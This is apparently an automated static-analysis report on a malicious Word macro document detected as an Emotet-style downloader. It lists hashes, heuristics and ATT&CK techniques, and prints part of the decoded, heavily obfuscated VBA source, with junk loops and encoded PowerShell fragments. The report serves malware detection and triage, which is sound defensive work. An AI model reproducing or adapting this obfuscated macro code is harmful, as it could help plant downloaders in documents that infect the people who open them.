Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2166f3ee860cfda1…

MALICIOUS

Office (OLE)

165.0 KB Created: 2018-03-26 18:42:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 2f5cea73652152048ecaa7d7ffc3ad69 SHA-1: c8c12f39cd56f465c8b4684d2e94f29aa7c92df7 SHA-256: 2166f3ee860cfda120fc376cb00e0c2441f183e26f7cb79121e606efb9cfd2b9
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. Heuristics indicate the presence of an AutoOpen macro that uses CreateObject, suggesting an attempt to execute code. The VBA script itself is heavily obfuscated, but it appears to be constructing strings that are likely used to invoke system commands or download further payloads. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' further supports its malicious nature.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 35753 bytes
SHA-256: 77b28cdc1478dfc9b4075445dcd24fbbbf443caf3072ed35a3faf9d7a0f25d76
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 19 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "QPztUwiEt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "FpMNUOrz"
Function wMsJMiQ()
On Error Resume Next
For Each XJSSP In lASQC
      ENvif = 14292 - hcqUH
      For Each HjbZnC In aTrDWr
         rHRMCV = JvnHi
      Next
   Next
pjpPzwtYr = uNtpvs("I70 .((GV '*mdR*').nAMe[3,11,2]-JOIn'') ( ( [RuntIMe.inTeROpSERviCes.MaRShAl]::([rUNtImE.iNTEROPSERViCEs.MaRSHAL].GEtMEMbeRS()[1].nAme).8GTJD", 4, 133)
For Each pTohoL In IUJbiO
      ilVrL = 77089 - UaKdS
      For Each fzooRJ In JGfKO
         MjWzq = nSdYZw
      Next
   Next
For Each DEjQN In HBnjv
      wFzXaC = 63930 - ztwBd
      For Each lYwsJ In VtPKj
         CqOOUY = MzhSGO
      Next
   Next
FTDzmkUk = uNtpvs("4zV.ZDkANwA1ADYAOABkADQANQBiADIAZgAwADAANgBmADcAYgA5AGIAMgAyADkANABmADgAMwAwAGIAYgA4ADQAZgBkADkAYji", 6, 92)
For Each smOJF In mvVjEv
      mYFpp = 76997 - AqDjZZ
      For Each RUEGq In JQjiGE
         rGVfJ = zJosr
      Next
   Next
For Each GGpbN In QhPRW
      trGiKE = 74540 - zEipul
      For Each ndfwC In AciJq
         fOjpOo = rNcNpB
      Next
   Next
mtUHnB = uNtpvs("zAGIANwA4AGYAYQA5AGQAYQAwAGEAZgBkAGMANQAwAGYANgA3ADMAZQBmADE@.VVfuD5", 2, 59)
For Each zJBXz In brcDjT
      bsOYV = 37097 - HdQPT
      For Each UuGLP In zqGrbK
         JSnmc = uUwwz
      Next
   Next
For Each iBzHBM In QVzwA
      qzuRrH = 7424 - JuMasF
      For Each YMYmHA In wOhdAw
         GFjid = ojrYS
      Next
   Next
RDPjOXq = uNtpvs("T@S5A1AGEAMwAzADEAZgAwADQANwA5AGQANQAyADQAOAA2ADMAZAAzAGEAMwA3ADAANAA0AGMAZABkADEANgBlADkAZABmAGEAYgA1ADIANwA2AGUAOQBjADUAOAA0AGUANgBlAGIAYQBmADIANABlAGMAOQBjAGUANwlMG%", 6, 159)
For Each sYHlj In GEsJb
      touAf = 69443 - GGiDp
      For Each wOFLoV In TuIXpd
         Utsdz = VlpFnE
      Next
   Next
For Each UPbwH In XRQwiq
      IwimP = 53274 - EqdGjR
      For Each bWOmXF In ibkTzR
         ElYkj = ZODha
      Next
   Next
oIGnXj = uNtpvs("h1.gAxADgAYgA4ADIAOQA1ADXzqBh", 4, 20)
For Each dPimV In phvuC
      KlbiU = 95570 - PKmAF
      For Each VAFXM In jLUbh
         pPGKk = JiNaw
      Next
   Next
For Each CWSTfz In JKbMN
      LDoSuJ = 51984 - aTLiJu
      For Each RJRTR In OtFja
         COrNr = lUNbkD
      Next
   Next
liudf = uNtpvs("dcinVoKe([rUnTiMe.inTerOpsERvICes.MARshaL]::SEcureSTrINGTOgLOBALaLLocansI( $('76492d111jp7uHb", 3, 85)
For Each wicCG In WFAsBK
      vRzJjl = 37258 - YfiGUl
      For Each ZtqYN In Uimqw
         ENCWpC = BUXDsw
      Next
   Next
For Each Jwbpfz In IUqEq
      ILtis = 7375 - fIDcQL
      For Each mvXuNj In MqbEV
         PIcnOM = KWlcZT
      Next
   Next
SjMhOzbLWk = uNtpvs("m0zbLGLAGYAOABhAGQANwAwAGYANAA0AGUAZgBjADgAYwBhAGQAMwA2ADEAMwBiADIAMAA3AGQAZgA4ADUAZgsV", 8, 78)
For Each NAswYT In PMwvq
      BwUSd = 45432 - jXfQO
      For Each acQKu In tHBLz
         fBjzwj = XFjOBT
      Next
   Next
For Each ZfjWH In rGkkO
      oBzwVT = 95028 - FhRkWK
      For Each Tvjdf In QIjiz
         dfvjzv = RLqrY
      Next
   Next
RZqCmlii = uNtpvs("70a5345MgB8AHgAeQBmAHMARQBnAHUAZQBBADYAYQBQAFEAeQB1AGMASwBJAHkAcwA3AGcAPQA9AHwAYwA5ADYANgAyAGUAZgAyAGEAOAAyADgANgA1ADUAYwA3ADAANwBkADcAZQA1ADgAMABkAGUAZgBlAGYAYQA2ADkANAAwADAAZAA0Ii8E.f", 2, 178)
For Each AzJsOv In wCYKAH
      jYsONW = 46595 - HJzRp
      For Each sCdDK In iNHQUm
         waHkjr = ftSbi
      Next
   Next
For Each IFVvLf In nvVuV
      VsTWb = 5263 - ihqBC
      For Each pJTwMF In PUlMIU
         WEfKb = sjYaL
      Next
   Next
GnYXKklHJ = uNtpvs("4FPADUADIAYgA3ADEAYgA3ADgAMQA4AGIAMQA0ADkAOAA4ADEAOABkAGUANAAwADAAMAAzADYANAA5ADIAMgAzADYANAA4ADgAOABlAGEAZgA3ADAAZgAyADgANgA2ADIAZgAxAGQAMABjAGYANwAzAGIAZQAwADYAMgBiADMAZAAwdjd", 7, 168)
For Each XzSaP In tLqJU
      IpWCAG = 13083 - HwmaC
      For Each atHGks In GizzuW
         PINNkj = mlqiS
      Next
   Next
For Each iuGlh In dIuj
... (truncated)